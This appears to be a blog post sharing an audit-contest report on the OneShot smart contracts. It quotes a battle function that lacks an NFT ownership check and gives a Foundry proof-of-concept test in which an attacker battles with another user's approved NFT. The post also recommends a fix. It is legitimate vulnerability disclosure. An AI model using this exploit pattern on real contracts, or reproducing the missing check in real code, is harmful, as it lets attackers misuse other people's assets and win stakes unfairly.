The short version

I took part in the OneShot audit contest on Codehawks and reported a High-rated vulnerability.
The issue lies in the lack of access control on the NFTs used to battle: it is possible for any user to send someone else's NFT to battle. This can represent an unfair advantage, if an attacker decides to use an NFT stronger than the one they own to have better chances of winning the battle.
Here is the full report I submitted to the judges of this contest, along with a PoC to exploit this flaw. Enjoy!

A user can battle with a oneShot NFT they do not own, to increase their chances of success in the battle

Summary

A user can increase their chance of winning a rap battle and, thus, the bet staked with it, by using someone else's more skilled rapper, due to a lack of relevant checks on the ownership of the oneShot NFT.

Vulnerability Details

When a user wants to take part in a rap battle, they can do so via the entrypoint RapBattle.sol::goOnStageOrBattle(uint256 _tokenId, uint256 _credBet).
Here is the code of this function:

function goOnStageOrBattle(uint256 _tokenId, uint256 _credBet) external {

        if (defender == address(0)) {
            defender = msg.sender;
            defenderBet = _credBet;
            defenderTokenId = _tokenId;

            emit OnStage(msg.sender, _tokenId, _credBet);

            oneShotNft.transferFrom(msg.sender, address(this), _tokenId);
            credToken.transferFrom(msg.sender, address(this), _credBet);
        } else {

            // credToken.transferFrom(msg.sender, address(this), _credBet);
            _battle(_tokenId, _credBet);
        }
    }

If we take a closer look at this function, there are two scenarios:

• a user has already entered the stage, and awaits a challenger
• no one is on the stage, so anyone calling the function will wait for a challenger

In the first case, the else branch of the control statement is executed, calling the internal _battle function.

The _battle function retrieves the information about the challenging rapper using uint256 challengerRapperSkill = getRapperSkill(_tokenId);, and, at no point in the execution flow, checks that msg.sender owns the NFT represented by this _tokenId.

With this in mind, it is possible to use any skilled rapper that is already approved to challenge other players. Using more skilled rappers will increase the attacker's chance of winning the battle and, thus, winning the bet.
This approach is shown with the following test case, which can be added to the OneShotTest.t.sol:

function testUseSomeonesRapper() public twoSkilledRappers {
        //this is meant to test that, once a defender is waiting for a challenge,
        //an attacker can use anyone's rapper to compete and win the bet
        address attacker = makeAddr("Attacker");
        vm.startPrank(attacker);
        oneShot.mintRapper();
        assert(oneShot.ownerOf(2) == attacker); //in the modifier, two skilled rappers are already created
        vm.stopPrank();

        //create a defender that awaits for a challenge
        address defender = makeAddr("Defender");
        vm.startPrank(defender);
        oneShot.mintRapper();
        assert(oneShot.ownerOf(3) == defender);
        oneShot.approve(address(rapBattle), 3);
        rapBattle.goOnStageOrBattle(3, 0);
        vm.stopPrank();

        //now, as the attacker, let's compete with this basic rapper with a more skilled one
        //to increase our chance of winning
        //the only pre-requisite is that the rapper we want to use has been approved
        //or we won't be able to battle with it
        //so let us assume one skilled rapper is approved
        vm.startPrank(user);
        oneShot.approve(address(rapBattle), 0);
        vm.stopPrank();

        vm.startPrank(attacker);
        vm.recordLogs();
        rapBattle.goOnStageOrBattle(0, 0); 
        //here, as attacker, I am using a tokenID I do not own
        //not running into a revert is already an issue here, 
        //because it means I have battled with a rapper I do not own

        //let's also check the winner, although using a more skilled rapper is not a 100% guarantee that the battle will be won
        Vm.Log[] memory entries = vm.getRecordedLogs();
        // Convert the event bytes32 objects -> address
        address winner = address(uint160(uint256(entries[0].topics[2])));
        assert(winner == attacker);
    }

Impact

A user can significantly increase their chance of winning a rap battle without having to stake their oneShot NFT in order to increase its stats. Any user can simply exploit this vulnerability and use a pre-approved more skilled rapper NFT to battle, and have a better chance of winning the bet.

Tools Used

Manual review, VSCode, Foundry

Recommendations

The smart contract should check that both the challenged rapper (check already in place) and challenging rapper (exploited here) are inserted into a rap battle by their respective owners.